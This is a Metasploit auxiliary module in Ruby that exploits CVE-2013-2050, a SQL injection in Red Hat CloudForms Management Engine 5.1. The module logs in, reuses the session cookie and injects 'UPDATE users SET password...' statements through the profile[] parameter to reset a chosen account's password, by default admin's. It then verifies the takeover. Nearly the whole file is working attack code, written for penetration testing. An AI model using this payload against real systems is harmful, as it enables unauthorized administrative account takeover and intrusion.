##
# This module requires Metasploit: http//metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
require 'bcrypt'
require 'digest'
require 'openssl'
class Metasploit4 < Msf::Auxiliary
include Msf::Exploit::Remote::HttpClient
def initialize
super(
'Name' => 'Red Hat CloudForms Management Engine 5.1 miq_policy/explorer SQL Injection',
'Description' => %q{
This module exploits a SQL injection vulnerability in the "explorer"
action of "miq_policy" controller of the Red Hat CloudForms Management
Engine 5.1 (ManageIQ Enterprise Virtualization Manager 5.0 and earlier) by
changing the password of the target account to the specified password.
},
'Author' => 'Ramon de C Valle',
'License' => MSF_LICENSE,
'References' =>
[
['CVE', '2013-2050'],
['CWE', '89'],
['URL', 'https://bugzilla.redhat.com/show_bug.cgi?id=959062']
],
'DefaultOptions' =>
{
'SSL' => true
},
'DisclosureDate' => 'Nov 12 2013'
)
register_options(
[
Opt::RPORT(443),
OptString.new('USERNAME', [true, 'Your username']),
OptString.new('PASSWORD', [true, 'Your password']),
OptString.new('TARGETUSERNAME', [true, 'The username of the target account', 'admin']),
OptString.new('TARGETPASSWORD', [true, 'The password of the target account', 'smartvm']),
OptString.new('TARGETURI', [ true, 'The path to the application', '/']),
OptEnum.new('HTTP_METHOD', [true, 'HTTP Method', 'POST', ['GET', 'POST'] ])
], self.class
)
end
def password_for_newer_schema
# Newer versions use ActiveModel's SecurePassword.
BCrypt::Password.create(datastore['TARGETPASSWORD'])
end
def password_for_older_schema
# Older versions use ManageIQ's MiqPassword.
if datastore['TARGETPASSWORD'].empty?
'v1:{}'
else
password = '1234567890123456'
salt = '6543210987654321'
cipher = OpenSSL::Cipher.new('AES-256-CBC')
cipher.encrypt
cipher.key = Digest::SHA256.digest("#{salt}#{password}")[0...32]
encrypted = cipher.update(datastore['TARGETPASSWORD']) + cipher.final
"v1:{#{Rex::Text.encode_base64(encrypted)}}"
end
end
def password_reset?
print_status("Trying to log into #{target_url('dashboard')} using the target account...")
res = send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'dashboard', 'authenticate'),
'vars_post' => {
'user_name' => datastore['TARGETUSERNAME'],
'user_password' => datastore['TARGETPASSWORD']
}
)
if res.nil?
print_error('No response from remote host')
return false
end
if res.body =~ /"Error: (.*)"/
print_error($1)
false
else
true
end
end
def run
print_status("Logging into #{target_url('dashboard')}...")
res = send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'dashboard', 'authenticate'),
'vars_post' => {
'user_name' => datastore['USERNAME'],
'user_password' => datastore['PASSWORD']
}
)
if res.nil?
print_error('No response from remote host')
return
end
if res.body =~ /"Error: (.*)"/
print_error($1)
return
else
session = $1 if res.headers['Set-Cookie'] =~ /_vmdb_session=(\h*)/
if session.nil?
print_error('Failed to retrieve the current session id')
return
end
end
# Newer versions don't accept POST requests.
print_status("Sending password-reset request to #{target_url('miq_policy', 'explorer')}...")
send_request_cgi(
'cookie' => "_vmdb_session=#{session}",
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'miq_policy', 'explorer'),
'vars_get' => {
'profile[]' => value_for_newer_schema
}
)
if password_reset?
print_good('Password reset successfully')
return
else
print_error('Failed to reset password')
end
print_status("Sending (older-schema) password-reset request to #{target_url('miq_policy', 'explorer')}...")
send_request_cgi(
'cookie' => "_vmdb_session=#{session}",
'method' => datastore['HTTP_METHOD'],
'uri' => normalize_uri(target_uri.path, 'miq_policy', 'explorer'),
"vars_#{datastore['HTTP_METHOD'].downcase}" => {
'profile[]' => value_for_older_schema
}
)
if password_reset?
print_good('Password reset successfully')
else
print_error('Failed to reset password')
end
end
def target_url(*args)
(ssl ? 'https' : 'http') +
if rport.to_i == 80 || rport.to_i == 443
"://#{vhost}"
else
"://#{vhost}:#{rport}"
end + normalize_uri(target_uri.path, *args)
end
def value_for_newer_schema
"1 = 1); UPDATE users SET password_digest = '#{password_for_newer_schema}' WHERE userid = '#{datastore['TARGETUSERNAME']}' --"
end
def value_for_older_schema
"1 = 1); UPDATE users SET password = '#{password_for_older_schema}' WHERE userid = '#{datastore['TARGETUSERNAME']}' --"
end
end
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